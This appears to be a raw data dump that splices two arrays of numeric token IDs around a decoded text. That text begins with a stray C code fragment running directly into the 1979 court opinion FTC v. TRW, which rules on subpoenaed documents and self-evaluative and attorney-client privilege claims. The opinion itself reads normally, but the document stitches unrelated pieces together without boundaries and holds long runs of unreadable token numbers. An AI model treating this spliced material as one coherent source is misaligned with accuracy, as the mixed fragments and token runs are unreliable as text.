[ 13108, 1587, 16130, 8695, 36, 35478, 3633, 32883, 3233, 4895, 2462, 69, 61, 79, 995, 391, 5902, 3233, 1168, 6870, 558, 2379, 50276, 2309, 391, 5902, 3233, 1168, 6870, 28, 190, 187, 94, 15971, 2379, 187, 28757, 401, 15, 4727, 15, 12036, 313, 18647, 10, 187, 39, 1703, 947, 1556, 7500, 24259, 15135, 16808, 2449, 13, 18160, 13, 187, 87, 15, 187, 3125, 56, 13, 21346, 15, 285, 697, 440, 39558, 9025, 13, 7500, 56, 18451, 5128, 13, 43607, 15, 187, 46, 2865, 15, 1621, 15, 11275, 14, 520, 1423, 15, 187, 11586, 2077, 4412, 2111, 13, 4412, 273, 12746, 15, 187, 21859, 721, 13, 13842, 15, 187, 11, 20664, 17966, 322, 15, 1997, 1022, 13, 401, 15, 308, 15, 330, 904, 5041, 13, 399, 15, 330, 904, 323, 11810, 15, 187, 21309, 388, 15, 19263, 1665, 13, 10512, 904, 5041, 13, 399, 15, 330, 904, 323, 15102, 15, 187, 187, 17589, 38560, 4889, 19140, 187, 41, 1277, 15930, 388, 15, 30273, 43578, 13, 4412, 6798, 15, 187, 1552, 310, 247, 12162, 762, 5238, 898, 273, 253, 7671, 17061, 5399, 3162, 13, 1458, 530, 15, 52, 15, 36, 15, 3015, 7584, 13, 285, 5238, 721, 1797, 9, 66, 10, 273, 253, 12772, 18451, 40283, 3162, 313, 39, 48319, 582, 1458, 530, 15, 52, 15, 36, 15, 3015, 1668, 3593, 84, 9, 66, 582, 281, 7767, 247, 36674, 3443, 707, 475, 19603, 716, 38655, 4681, 18, 62, 18160, 13, 253, 7671, 17061, 5399, 313, 5518, 36, 582, 14993, 253, 7177, 347, 629, 273, 271, 10800, 5839, 281, 3653, 1880, 15587, 13, 7500, 56, 13, 3690, 15, 313, 3125, 56, 582, 310, 15966, 275, 8333, 534, 20835, 2710, 7118, 273, 253, 401, 48319, 15, 187, 7910, 2390, 273, 7177, 403, 387, 2523, 275, 436, 12162, 4681, 19, 62, 380, 806, 1387, 13, 11253, 273, 7177, 1852, 209, 2874, 14, 15429, 285, 26235, 14, 19105, 13, 497, 40492, 407, 7500, 56, 327, 9905, 273, 247, 12165, 346, 1286, 14, 15419, 86, 800, 3, 15863, 15, 380, 1273, 1387, 13, 11253, 273, 7177, 1852, 12660, 14, 20700, 13, 497, 40492, 327, 9905, 273, 6834, 14, 8780, 15863, 15, 1284, 5544, 2708, 13, 253, 2111, 1057, 417, 1089, 2057, 273, 841, 9905, 281, 320, 4209, 275, 436, 1083, 15, 187, 43080, 1852, 209, 2874, 14, 15429, 285, 26235, 14, 19105, 2882, 273, 5012, 285, 6128, 18133, 407, 7500, 56, 275, 253, 2282, 273, 247, 3313, 30549, 18817, 12469, 262, 534, 13, 2556, 281, 7500, 56, 13, 556, 644, 5196, 1580, 15621, 281, 5416, 10276, 342, 7763, 5323, 407, 27, 313, 18, 10, 11850, 6447, 285, 5185, 7259, 275, 697, 7418, 7789, 10630, 2493, 14145, 13, 285, 313, 19, 10, 6684, 271, 23873, 5199, 281, 2085, 4323, 285, 4320, 5067, 342, 9865, 285, 3309, 1491, 281, 320, 908, 275, 830, 8287, 747, 285, 5520, 7823, 15, 7500, 56, 8219, 326, 1580, 253, 7177, 3831, 1881, 14, 12792, 285, 1881, 14, 68, 17425, 1204, 285, 452, 644, 4127, 690, 14, 5371, 13224, 1365, 1561, 7500, 56, 13, 597, 403, 6283, 40492, 762, 253, 346, 1286, 14, 15419, 86, 800, 3, 15863, 13, 534, 18653, 253, 2266, 1345, 3646, 273, 18462, 824, 4812, 27163, 15, 187, 510, 401, 6669, 8219, 326, 627, 310, 642, 7478, 346, 1286, 14, 15419, 86, 800, 3, 15863, 13, 3782, 275, 253, 3634, 273, 247, 1569, 10473, 6757, 434, 36674, 10473, 12162, 13, 285, 326, 13, 275, 667, 1083, 13, 841, 7177, 651, 417, 2965, 1561, 697, 1460, 1374, 15, 380, 2111, 18726, 15, 187, 6175, 275, 247, 1386, 273, 2219, 13, 5068, 342, 378, 433, 547, 362, 15, 48270, 8896, 13, 3690, 904, 2456, 401, 15, 51, 15, 37, 15, 29503, 313, 37, 15, 37, 15, 36, 15, 20686, 582, 3286, 7829, 452, 13, 275, 253, 5763, 273, 616, 8637, 13, 5868, 8900, 273, 2176, 346, 1286, 14, 15419, 86, 800, 3, 4753, 281, 3055, 42024, 1103, 835, 271, 16400, 1345, 1600, 25973, 616, 4821, 39581, 17555, 20, 62, 16939, 7829, 452, 417, 2218, 594, 15, 2594, 13, 299, 15, 305, 904, 39736, 362, 15, 1893, 15, 34289, 5720, 11294, 13, 40520, 401, 15, 19, 69, 1249, 3141, 313, 19, 69, 4082, 15, 14752, 481, 1284, 369, 8042, 562, 275, 24395, 362, 15, 330, 405, 2072, 50214, 2434, 904, 10677, 401, 15, 51, 15, 37, 15, 43111, 13, 39603, 313, 38, 15, 37, 15, 30461, 15, 14960, 582, 346, 783, 12165, 15863, 964, 964, 964, 387, 253, 954, 4558, 8127, 17011, 285, 556, 417, 3839, 644, 7478, 15, 964, 964, 17212, 187, 21342, 13, 627, 403, 642, 2219, 275, 534, 247, 1569, 10473, 6757, 13, 8445, 7177, 10376, 281, 697, 11315, 36674, 1612, 275, 253, 2282, 273, 271, 5839, 13, 556, 644, 5868, 824, 8900, 4681, 21, 62, 496, 326, 475, 18121, 2743, 13, 253, 7829, 452, 17568, 9284, 281, 9446, 247, 346, 13552, 587, 463, 449, 2594, 13, 299, 15, 305, 904, 27523, 28241, 2434, 15, 362, 15, 416, 7640, 4379, 13, 45421, 401, 15, 19, 69, 721, 3571, 13, 46753, 313, 21, 394, 4082, 15, 14828, 558, 1986, 2077, 362, 15, 1621, 455, 13, 48962, 401, 15, 19, 69, 15567, 13, 11140, 14, 1731, 313, 19, 69, 4082, 15, 14304, 481, 29036, 28896, 362, 15, 19989, 45217, 14, 35848, 571, 2434, 904, 8676, 401, 15, 51, 15, 37, 15, 34360, 313, 47, 15, 37, 15, 20750, 15, 25197, 10, 313, 9486, 11081, 8341, 2550, 4044, 12611, 1304, 18918, 3257, 2567, 434, 4503, 8410, 5107, 3237, 285, 25712, 5659, 10, 342, 27523, 6365, 932, 2434, 15, 362, 15, 35290, 6091, 10391, 13, 9253, 313, 5607, 3231, 476, 4044, 10125, 273, 5079, 3570, 10276, 2086, 285, 2905, 7177, 481, 187, 9586, 604, 436, 2111, 497, 281, 9446, 253, 15863, 13, 2299, 13, 347, 253, 2219, 9433, 352, 1127, 562, 13, 352, 310, 760, 247, 12165, 581, 13, 285, 7500, 56, 434, 40492, 7177, 651, 417, 2965, 1561, 697, 1460, 1374, 4681, 22, 62, 496, 954, 10872, 13, 253, 1682, 4973, 273, 1491, 670, 10459, 4712, 403, 10459, 46373, 6297, 4158, 281, 2085, 4323, 342, 253, 1491, 3309, 281, 1056, 8191, 2136, 7089, 15, 380, 7177, 387, 2523, 1060, 3831, 1491, 387, 253, 2798, 273, 253, 401, 6669, 434, 5839, 15, 1707, 310, 1900, 271, 1736, 8584, 878, 323, 39581, 13, 285, 3603, 273, 1881, 14, 15419, 2368, 285, 1783, 13, 342, 1675, 281, 841, 4973, 15, 496, 326, 2743, 13, 253, 2111, 1057, 417, 2997, 7500, 56, 434, 16867, 17077, 326, 15824, 616, 13911, 588, 452, 247, 346, 348, 3867, 1055, 3, 327, 2852, 1881, 14, 15419, 86, 800, 4712, 15, 733, 778, 320, 24874, 326, 18674, 588, 4035, 281, 5724, 3746, 281, 5416, 616, 10276, 342, 253, 1569, 13, 347, 597, 452, 2218, 275, 253, 2469, 13, 1293, 253, 2879, 25275, 273, 247, 346, 2034, 453, 1208, 86, 800, 3, 15863, 15, 187, 2214, 841, 4606, 13, 253, 2111, 6556, 326, 43577, 1852, 209, 2874, 14, 15429, 285, 26235, 14, 19105, 403, 417, 30082, 285, 1364, 320, 4197, 15, 496, 1340, 281, 4017, 667, 3367, 12656, 273, 11068, 534, 778, 275, 1568, 275, 731, 13, 2299, 13, 253, 2111, 588, 1340, 12488, 1491, 281, 320, 16737, 432, 8183, 27163, 15, 187, 43080, 1852, 12660, 14, 20700, 2882, 273, 247, 10419, 323, 789, 281, 320, 2684, 323, 7500, 56, 407, 253, 22681, 5489, 6516, 313, 52, 4873, 582, 247, 12611, 7482, 1304, 13, 285, 247, 2457, 1304, 8549, 281, 7500, 56, 15, 7500, 56, 14993, 281, 342, 4949, 841, 7177, 1754, 2220, 253, 6834, 14, 8780, 15863, 13, 327, 253, 3216, 326, 597, 21075, 7500, 56, 434, 16099, 275, 16344, 7500, 56, 434, 6152, 9610, 985, 285, 275, 13828, 323, 1896, 15561, 342, 253, 401, 6669, 15, 831, 1750, 310, 417, 34593, 15, 187, 6407, 13, 1014, 7384, 253, 7177, 497, 3562, 281, 7895, 4320, 7535, 13, 253, 4342, 497, 10481, 41443, 1561, 7500, 56, 347, 281, 2297, 366, 253, 8208, 273, 39581, 15, 2091, 247, 3389, 310, 5480, 323, 19645, 2278, 407, 1327, 14, 7685, 347, 973, 347, 4320, 11570, 13, 352, 310, 417, 2783, 281, 452, 644, 5480, 8558, 281, 7703, 4320, 7535, 285, 253, 6834, 14, 8780, 15863, 1057, 417, 4647, 15, 1986, 2077, 362, 15, 5625, 10518, 20310, 1100, 9537, 904, 9523, 401, 15, 51, 15, 37, 15, 25193, 13, 25098, 313, 52, 15, 37, 15, 47, 15, 58, 15, 22062, 36033, 23, 62, 187, 7673, 15538, 13, 2299, 13, 253, 7177, 497, 5480, 407, 271, 10726, 3345, 273, 7500, 56, 15, 380, 10158, 14, 8975, 15863, 1057, 417, 9017, 281, 1491, 285, 7234, 2797, 407, 271, 6834, 432, 2626, 7732, 15, 854, 17025, 708, 11418, 13, 7671, 23208, 285, 18809, 27, 10109, 3015, 4240, 387, 14509, 313, 20686, 558, 25080, 362, 15, 24263, 8170, 2434, 904, 9901, 401, 15, 51, 15, 37, 15, 7652, 13, 7904, 14, 2385, 313, 38, 15, 37, 15, 9387, 15, 22700, 558, 60, 24, 62, 16082, 17802, 13, 3690, 15, 475, 18467, 362, 15, 26096, 255, 1406, 2434, 904, 8255, 401, 15, 51, 15, 37, 15, 7127, 313, 47, 15, 37, 15, 4218, 338, 15, 16609, 481, 3308, 13, 253, 15863, 1057, 417, 9017, 281, 1491, 10557, 281, 271, 6834, 407, 247, 1436, 3345, 253, 6003, 273, 247, 10459, 5268, 285, 697, 35751, 15, 1986, 2077, 362, 15, 1986, 1608, 3703, 20310, 16029, 9537, 904, 11289, 401, 15, 4727, 15, 34506, 13, 38080, 14, 3046, 313, 37, 15, 23067, 15, 32522, 558, 3228, 273, 14289, 362, 15, 4255, 272, 5967, 21171, 9537, 904, 20048, 401, 15, 4727, 15, 42998, 13, 40783, 313, 38, 15, 37, 15, 9387, 15, 32796, 481, 380, 22681, 5489, 6516, 310, 824, 271, 6024, 10726, 15, 187, 2214, 841, 4606, 253, 2111, 6556, 326, 43577, 1852, 12660, 14, 20700, 403, 417, 30082, 285, 1364, 320, 4197, 15, 187, 23135, 13, 352, 310, 436, 608, 394, 1388, 273, 4397, 13, 13842, 13, 187, 24066, 1703, 2064, 11810, 434, 2898, 281, 7767, 10276, 342, 697, 36674, 3443, 707, 716, 38655, 320, 285, 352, 310, 20585, 7169, 13, 285, 352, 310, 2007, 187, 24066, 1703, 2064, 15587, 4711, 6593, 3113, 281, 11810, 43577, 1852, 209, 2874, 14, 15429, 285, 12660, 14, 19105, 347, 2931, 11249, 15, 187, 24963, 187, 60, 18, 62, 50276, 510, 36674, 369, 8927, 6808, 327, 2552, 3127, 13, 14828, 13, 285, 556, 1580, 644, 17265, 15, 187, 60, 19, 62, 50276, 34, 2626, 1387, 13, 11253, 273, 7177, 1852, 23541, 14, 17864, 13, 497, 40492, 327, 9905, 273, 6834, 14, 8780, 15863, 15, 1284, 253, 906, 273, 1491, 4197, 275, 7500, 56, 434, 10266, 281, 436, 10473, 12162, 13, 401, 6669, 556, 26924, 697, 5266, 281, 7767, 253, 36674, 342, 1675, 281, 841, 7177, 15, 187, 60, 20, 62, 50276, 14131, 13, 841, 7829, 452, 47485, 247, 346, 28758, 1881, 14, 15419, 86, 800, 3, 15863, 15, 2594, 378, 433, 547, 13, 9253, 28, 24465, 1342, 362, 15, 1986, 2077, 13, 8676, 401, 15, 51, 15, 37, 15, 33152, 313, 52, 15, 37, 15, 47, 15, 58, 15, 25197, 558, 28896, 362, 15, 19989, 45217, 14, 35848, 571, 2434, 904, 8676, 401, 15, 51, 15, 37, 15, 34360, 313, 47, 15, 37, 15, 20750, 15, 25197, 558, 1457, 2816, 15725, 18517, 362, 15, 322, 37810, 13, 3307, 8529, 15, 51, 15, 13720, 15, 19, 69, 6783, 313, 52, 15, 37, 15, 47, 15, 58, 15, 19813, 481, 329, 10214, 1386, 273, 625, 3332, 2219, 34044, 281, 14409, 390, 4647, 824, 247, 15863, 15, 2594, 13, 299, 15, 305, 904, 24395, 362, 15, 330, 405, 2072, 50214, 2434, 904, 10677, 401, 15, 51, 15, 37, 15, 43111, 313, 38, 15, 37, 15, 30461, 15, 20087, 558, 38310, 362, 15, 10315, 13, 11275, 401, 15, 51, 15, 37, 15, 14509, 13, 15470, 313, 37, 15, 2973, 80, 15, 19791, 558, 17025, 362, 15, 39652, 3767, 434, 6029, 32805, 290, 7115, 13, 8187, 401, 15, 51, 15, 37, 15, 22761, 313, 52, 15, 37, 15, 47, 15, 58, 15, 19813, 558, 45494, 251, 362, 15, 401, 36902, 31910, 13, 11487, 401, 15, 51, 15, 37, 15, 5976, 313, 47, 15, 37, 15, 36179, 14304, 481, 1284, 253, 1302, 4879, 275, 17453, 362, 15, 6813, 4574, 13, 11439, 401, 15, 51, 15, 37, 15, 11275, 313, 56, 15, 37, 15, 9387, 15, 18647, 582, 954, 273, 253, 2219, 26182, 253, 15863, 29920, 253, 6413, 2111, 3061, 275, 1986, 2077, 362 ]	printf("ezNetCnfGetEnvData returned %d\n", rpcData->result); return rpcData->result; } 479 F.Supp. 160 (1979) FEDERAL TRADE COMMISSION, Petitioner, v. TRW, INC. and its unincorporated division, TRW Credit Data, Respondents. Misc. No. 79-0122. United States District Court, District of Columbia. September 6, 1979. 161 Warren S. Grimes, F. T. C., Washington, D. C., for petitioner. Robert H. Rawson, Jr., Washington, D. C., for respondents. MEMORANDUM AND ORDER HAROLD H. GREENE, District Judge. This is a proceeding under Section 9 of the Federal Trade Commission Act, 15 U.S.C. § 49, and Section 621(a) of the Fair Credit Reporting Act (FCRA), 15 U.S.C. § 1681s(a), to enforce a subpoena duces 162 tecum.[1] Petitioner, the Federal Trade Commission (FTC), seeks the documents as part of an ongoing investigation to determine whether respondent, TRW, Inc. (TRW), is engaging in practices which violate various sections of the FCRA. Two groups of documents are at issue in this proceeding.[2] The first group, consisting of documents # 001-165 and 183-184, were withheld by TRW on grounds of a qualified "self-evaluative" privilege. The second group, consisting of documents # 180-182, were withheld on grounds of attorney-client privilege. As explained below, the Court does not find either of these grounds to be sufficient in this case. Documents # 001-165 and 183-184 consist of reports and responses compiled by TRW in the course of a National Consumer Relations Audit which, according to TRW, has been conducted since 1973 to ensure compliance with applicable laws by: (1) maintaining uniform and consistent procedures in its numerous branch consumer relations offices, and (2) developing an audit procedure to provide management and legal counsel with valuable and necessary information to be used in formulating new and improved policies. TRW argues that since the documents contain self-analysis and self-criticism and have been treated some-what confidentially within TRW, they are properly withheld under the "self-evaluative" privilege, which promotes the strong public policy of encouraging such internal evaluations. The FTC argues that there is no recognized "self-evaluative" privilege, particularly in the context of a law enforcement agency's subpoena enforcement proceeding, and that, in any case, these documents would not fall within its purview. The Court agrees. While in a line of cases, beginning with Bredice v. Doctors Hospital, Inc., 50 F.R.D. 249 (D.D.C.1970), district courts have, in the exercise of their discretion, denied discovery of certain "self-evaluative" materials to private litigants where an overwhelming public interest favored their continued confidentiality,[3] appellate courts have not done so. See, e. g., Dixon v. So. Pine Street Corporation, 516 F.2d 1278 (2d Cir. 1975). As was pointed out in Lloyd v. Cessna Aircraft Co., 74 F.R.D. 518, 522 (E.D.Tenn. 1977), "the qualified privilege... at the most remains largely undefined and has not generally been recognized...." Moreover, there are no cases in which a law enforcement agency, seeking documents pursuant to its statutory subpoena power in the course of an investigation, has been denied such discovery.[4] In that 163 regard, the courts have uniformly refused to recognize a "privilege." See, e. g., Reynolds Metal Co. v. Rumsford, 564 F.2d 663, 667 (4th Cir. 1976); United States v. Noall, 587 F.2d 123, 125-26 (2d Cir. 1978). Compare Banks v. Lockheed-Georgia Co., 53 F.R.D. 283 (N.D.Ga.1971) (private discrimination plaintiffs cannot obtain preliminary report analyzing defendant company's equal employment opportunity problems and affirmative programs) with Reynolds Metals Co. v. Rumsfeld, supra (EEOC can obtain copies of civil rights compliance program and related documents). Even if this Court were to recognize the privilege, however, as the cases applying it point out, it is only a qualified one, and TRW's withheld documents would not fall within its purview.[5] In most instances, the best sources of information about corporate activities are corporate informational mechanisms designed to provide management with the information necessary to make informed business decisions. The documents at issue here contain information at the heart of the FTC's investigation. There is always an arguable need for confidentiality, and elements of self-evaluation and analysis, with respect to these sources. In that regard, the Court does not accept TRW's naked assertion that ordering their disclosure will have a "chilling effect" on future self-evaluative activities. It may be presumed that corporations will continue to monitor themselves to ensure their compliance with the law, as they have done in the past, without the added incentive of a "selfevaluative" privilege. For these reasons, the Court holds that Documents # 001-165 and 183-184 are not privileged and must be produced. In order to protect any personal expectations of privacy which may inhere in them, however, the Court will order identifying information to be deleted from employee evaluations. Documents # 180-182 consist of a proposal for work to be performed for TRW by the Stanford Research Institute (SRI), a preliminary draft report, and a final report delivered to TRW. TRW seeks to withhold these documents based upon the attorney-client privilege, on the ground that they assisted TRW's lawyers in evaluating TRW's credit reporting system and in preparing for possible litigation with the FTC. This claim is not persuasive. First, even assuming the documents were created to secure legal advice, the findings were sufficiently circulated within TRW as to negate the intention of confidentiality. When a document is prepared for simultaneous review by non-legal as well as legal personnel, it is not considered to have been prepared primarily to seek legal advice and the attorney-client privilege does not apply. United States v. International Business Machines Corp., 66 F.R.D. 206, 213 (S.D.N.Y.1974).[6] More importantly, however, the documents were prepared by an entity outside of TRW. The Attorney-Client privilege does not extend to information and statements obtained by an attorney from third persons. 8 Wright & Miller, Federal Practice and Procedure: Civil § 2017 at 137 (1970); Bird v. Penn Central Co., 61 F.R.D. 43, 46-48 (E.D.Pa.1973);[7]Jack Winter, Inc. 164 v. Koratron Co., 54 F.R.D. 44 (N.D.Calif. 1971). Thus, the privilege does not extend to information disclosed to an attorney by a person outside the organization of a corporate client and its affiliates. United States v. United Shoe Machinery Corp., 89 F.Supp. 357, 358-59 (D.Mass.1950); City of Philadelphia v. Westinghouse Electric Corp., 210 F.Supp. 483, 484 (E.D.Pa.1962). The Stanford Research Institute is such an external entity. For these reasons the Court holds that Documents # 180-182 are not privileged and must be produced. Accordingly, it is this 5th day of September, 1979, ORDERED That petitioner's application to enforce compliance with its subpoena duces tecum be and it is hereby granted, and it is further ORDERED That respondent produce forthwith to petitioner Documents # 001-165 and 180-184 as defined herein. NOTES [1] The subpoena was originally issued on May 21, 1976, and has since been revised. [2] A third group, consisting of documents # 166-179, were withheld on grounds of attorney-client privilege. As the result of information produced in TRW's opposition to this enforcement proceeding, FTC has withdrawn its petition to enforce the subpoena with respect to these documents. [3] Thus, these courts have fashioned a "qualified self-evaluative" privilege. See Bredice, supra; Gillman v. United States, 53 F.R.D. 316 (S.D.N.Y.1971); Banks v. Lockheed-Georgia Co., 53 F.R.D. 283 (N.D.Ga.1971); New York Stock Exchange v. Sloan, 22 Fed.R.Serv.2d 500 (S.D.N.Y.1976). A contrary line of more recent cases declines to acknowledge or apply such a privilege. See, e. g., Lloyd v. Cessna Aircraft Co., 74 F.R.D. 518 (E.D.Tenn.1977); Davidson v. Light, 79 F.R.D. 137, 139 (D.Colo.1978); Wright v. Patrolmen's Benevolent Association, 72 F.R.D. 161 (S.D.N.Y.1976); Ligon v. Frito Lay, 82 F.R.D. 42 (N.D.Texas 1978). As the court noted in Robinson v. Magovern, 83 F.R.D. 79 (W.D.Pa.1979), most of the cases recognizing the privilege preceded the Supreme Court decision in United States v
[ 309, 1955, 281, 253, 2793, 1268, 15, 187, 187, 4814, 26231, 9594, 285, 26602, 16480, 6720, 27, 313, 16680, 436, 2554, 310, 3264, 281, 14294, 10, 688, 6547, 533, 417, 3710, 281, 27, 187, 187, 22708, 6194, 275, 15076, 13, 6883, 13, 285, 2144, 10885, 16, 22214, 15, 187, 187, 5703, 84, 789, 1340, 390, 3637, 7946, 7997, 281, 24228, 4753, 390, 17671, 281, 320, 4395, 15, 187, 187, 9624, 84, 285, 440, 2799, 84, 4753, 4830, 390, 432, 5796, 6639, 13, 492, 698, 13, 391, 7305, 13, 285, 30058, 407, 1133, 15, 187, 187, 9624, 84, 4753, 715, 9411, 285, 3334, 84, 3405, 2784, 13, 1308, 4234, 13, 390, 13294, 281, 3657, 19507, 390, 4723, 275, 18622, 15, 187, 187, 1773, 306, 656, 4753, 432, 5718, 390, 789, 4375, 281, 13205, 2170, 15, 187, 187, 4538, 980, 20284, 37969, 281, 4753, 285, 11785, 656, 3301, 281, 12095, 390, 6298, 1531, 1351, 390, 8511, 9020, 9158, 281, 2118, 3301, 281, 12095, 15, 187, 187, 6878, 84, 13, 40581, 13, 285, 5861, 1180, 273, 5085, 273, 4753, 4395, 390, 15726, 327, 5312, 3275, 8335, 15, 187, 187, 6601, 3844, 12488, 14610, 390, 13301, 281, 4753, 390, 10880, 1491, 327, 2219, 13, 270, 2339, 13, 390, 643, 17671, 15, 187, 187, 9624, 84, 9988, 323, 24148, 42712, 48710, 15, 187, 187, 998, 7305, 390, 347, 40275, 4753, 715, 25663, 285, 10604, 25663, 2366, 15, 187, 187, 2019, 11441, 7118, 273, 18001, 39773, 2366, 390, 5053, 39773, 7118, 327, 8336, 390, 12783, 281, 12454, 4866, 273, 4753, 390, 3580, 15, 187, 187, 8494, 11625, 3530, 273, 4753, 13, 13301, 342, 12488, 1491, 13, 285, 3936, 3530, 281, 9965, 323, 1783, 15, 187, 187, 45, 8515, 5536, 5113, 407, 1133, 390, 342, 1612, 8511, 382, 13, 285, 30671, 789, 2170, 13, 10679, 13, 285, 6500, 281, 10073, 5145, 9158, 15, 187, 187, 48468, 2969, 23927, 390, 25931, 824, 347, 1524, 525, 272, 39978, 390, 15706, 41791, 15, 187, 187, 1909, 40275, 1531, 684, 281, 3831, 3580, 824, 347, 10679, 390, 9411, 15, 187, 187, 49498, 652, 84, 13155, 4753, 824, 347, 7537, 13, 33791, 13, 18494, 13, 45896, 13, 390, 17110, 13, 715, 5145, 8511, 13906, 390, 715, 9411, 285, 17671, 824, 347, 9530, 2009, 8111, 13, 18572, 9988, 13, 390, 33545, 15, 187, 187, 10996, 684, 9787, 9988, 390, 5637, 8511, 382, 281, 10073, 275, 10935, 390, 4886, 4753, 285, 3580, 15, 187, 187, 29618, 84, 247, 4466, 326, 2987, 281, 5115, 285, 6558, 271, 7343, 1959, 21853, 15, 187, 187, 29618, 84, 247, 4466, 326, 2987, 281, 5115, 285, 6558, 10800, 2419, 23492, 31925, 15, 187, 187, 20459, 28003, 1227, 10286, 285, 24486, 6787, 27, 187, 187, 1703, 10579, 6570, 16, 4237, 10810, 42, 17740, 27, 4855, 2143, 11833, 3691, 390, 2087, 4730, 4248, 313, 40, 1703, 10, 342, 247, 5927, 273, 767, 1107, 457, 2905, 2793, 285, 16, 263, 3733, 28, 390, 6425, 5019, 273, 4730, 285, 2793, 15, 187, 187, 47043, 54, 7669, 27, 3506, 874, 281, 1239, 285, 4665, 7177, 824, 347, 5252, 4803, 13, 6498, 285, 9363, 7997, 13, 285, 5199, 11595, 84, 15, 3506, 874, 281, 3630, 10934, 5012, 285, 17668, 15, 3506, 874, 281, 3984, 8069, 1078, 2390, 273, 6383, 390, 6171, 273, 6003, 15, 187, 187, 15090, 1922, 15090, 25129, 18460, 10592, 52, 27, 3506, 874, 281, 823, 13, 43444, 13, 30247, 13, 285, 10957, 275, 512, 5085, 273, 2557, 13, 970, 2644, 3904, 13, 1846, 17711, 13, 285, 1086, 21185, 15, 3506, 874, 281, 11897, 2281, 13, 4313, 13, 285, 2558, 285, 281, 3812, 285, 4665, 2534, 14580, 15, 187, 187, 1848, 1719, 1139, 2637, 12056, 11913, 27, 3506, 874, 281, 4647, 1846, 3282, 4685, 281, 4459, 562, 7997, 25032, 275, 3542, 13, 7946, 13, 390, 10659, 830, 15, 3506, 874, 281, 2968, 342, 3237, 7668, 2067, 11859, 4903, 275, 19817, 9534, 15, 187, 187, 39835, 18460, 10592, 52, 4889, 12056, 3077, 1433, 9785, 27, 19680, 320, 2104, 281, 2489, 323, 7261, 2094, 18065, 1561, 1884, 1897, 15, 3506, 874, 281, 897, 8137, 5657, 313, 1205, 376, 332, 13, 5148, 37946, 13, 6848, 4331, 10, 281, 1616, 1885, 15, 3506, 874, 281, 1239, 285, 4665, 15759, 21780, 15, 187, 187, 6663, 6328, 25129, 5689, 8846, 29349, 39307, 27, 3900, 9591, 253, 12803, 273, 436, 2628, 13, 253, 8183, 310, 7208, 2424, 281, 1462, 28, 2940, 28, 897, 3564, 281, 9185, 13, 6016, 13, 390, 1928, 28, 3986, 342, 3564, 285, 6174, 285, 2312, 390, 4089, 15, 380, 8183, 310, 13949, 2424, 281, 1790, 28, 12394, 390, 6654, 285, 4806, 412, 13, 7725, 293, 13, 1531, 9764, 13, 390, 37431, 15, 380, 8183, 1364, 13949, 8488, 285, 16, 263, 2118, 598, 281, 2456, 12511, 15, 26602, 8113, 15277, 2424, 407, 436, 2628, 2486, 2810, 8113, 13, 4181, 8113, 13, 3295, 8113, 13, 10844, 8113, 13, 6864, 13071, 285, 3745, 281, 4575, 2770, 19680, 320, 2104, 281, 8251, 12107, 3174, 21417, 285, 643, 367, 3246, 347, 2424, 407, 253, 7811, 15, 187, 187, 30764, 16449, 55, 3027, 1139, 10634, 27, 3900, 9591, 253, 12803, 273, 436, 21591, 13, 253, 8183, 310, 11719, 7329, 281, 269, 9181, 390, 42864, 6353, 15, 380, 8183, 310, 7208, 7329, 281, 4886, 8651, 4243, 285, 3345, 8588, 2515, 15, 380, 8183, 310, 13949, 7329, 281, 1029, 13, 3509, 37993, 5053, 285, 22634, 15, 380, 6046, 1268, 275, 253, 789, 3126, 310, 3798, 10290, 15, 2115, 80, 18429, 20789, 13, 1144, 13167, 546, 45431, 14799, 17630, 78, 1288, 1758, 38106, 295, 584, 1045, 17985, 1950, 902, 86, 340, 826, 4231, 571, 372, 3905, 8221, 10045, 13, 38106, 13647, 810, 7080, 1045, 34939, 32444, 372, 509, 435, 343, 345, 28870, 2921, 396, 373, 32305, 20217, 13, 340, 1753, 13647, 31789, 510, 2180, 275, 247, 5086, 434, 1495, 13, 5431, 875, 2363, 273, 3435, 14, 1867, 672, 344, 18382, 28134, 281, 23822, 266, 25680, 15, 8714, 84, 273, 1234, 22651, 555, 2486, 11298, 281, 2312, 5553, 13, 440, 43274, 264, 16157, 670, 2675, 5659, 824, 347, 15519, 13, 4180, 272, 247, 2389, 323, 6793, 952, 285, 1698, 10474, 13, 19947, 273, 643, 952, 434, 43371, 1204, 2308, 15, 1532, 187, 7582, 27, 187, 14, 686, 43, 8824, 1541, 500, 493, 13, 714, 74, 14, 28777, 19028, 5180, 18, 1092, 285, 42828, 1503, 26826, 8, 187, 5564, 27, 1040, 187, 50274, 36, 1368, 297, 5970, 273, 440, 39490, 23007, 25663, 689, 15539, 14, 10408, 422, 19112, 309, 8048, 187, 50274, 510, 1083, 273, 1327, 36648, 9191, 187, 1532, 187, 187, 14214, 187, 7770, 187, 187, 1466, 669, 4862, 322, 5, 320, 247, 8566, 25571, 2553, 313, 11171, 13468, 6970, 10, 273, 15443, 370, 72, 1352, 1281, 370, 81, 64, 18, 13, 187, 81, 64, 19, 13, 393, 7718, 13, 268, 64, 84, 5, 320, 370, 84, 31, 17, 5, 2792, 327, 352, 28, 841, 2792, 4853, 247, 11812, 13, 285, 359, 9173, 253, 1527, 25571, 2553, 2367, 4862, 322, 889, 12750, 6921, 81, 64, 18, 13, 393, 6768, 13, 268, 64, 84, 10952, 407, 370, 52, 1352, 2091, 370, 20, 72, 14, 20, 12, 84, 31, 17, 1366, 352, 15814, 247, 3426, 28095, 7982, 273, 6486, 4644, 13, 253, 594, 14, 8890, 46857, 7982, 28, 253, 2792, 370, 81, 64, 18, 13, 187, 81, 64, 19, 13, 393, 7718, 13, 268, 64, 84, 5, 840, 2489, 260, 316, 793, 387, 23579, 15, 4952, 275, 253, 5780, 2219, 13, 326, 310, 13, 323, 247, 2378, 390, 7019, 17256, 1520, 15269, 13, 359, 476, 30787, 370, 52, 5, 342, 247, 7982, 326, 310, 28095, 275, 253, 21520, 273, 253, 260, 14147, 9, 84, 582, 285, 323, 776, 6378, 13, 253, 3879, 273, 253, 7982, 627, 310, 512, 752, 9372, 13, 285, 359, 1067, 824, 247, 7982, 46857, 14, 3022, 15, 496, 667, 1083, 13, 776, 7982, 327, 370, 52, 5, 310, 17007, 407, 669, 3151, 1352, 44092, 253, 11250, 3711, 273, 370, 52, 5, 275, 669, 4862, 322, 5, 407, 370, 75, 1352, 1281, 669, 2859, 27, 393, 2059, 64, 18, 9, 52, 1572, 936, 187, 10612, 9, 79, 13, 393, 1991, 92, 36, 6580, 320, 247, 49863, 45501, 4872, 6779, 273, 669, 2059, 64, 18, 9, 52, 1009, 534, 310, 440, 39490, 2822, 253, 260, 316, 793, 313, 1542, 253, 10799, 5426, 13, 21194, 15, 3015, 19, 15, 18, 481, 3094, 29078, 281, 824, 247, 6779, 669, 2859, 1366, 581, 556, 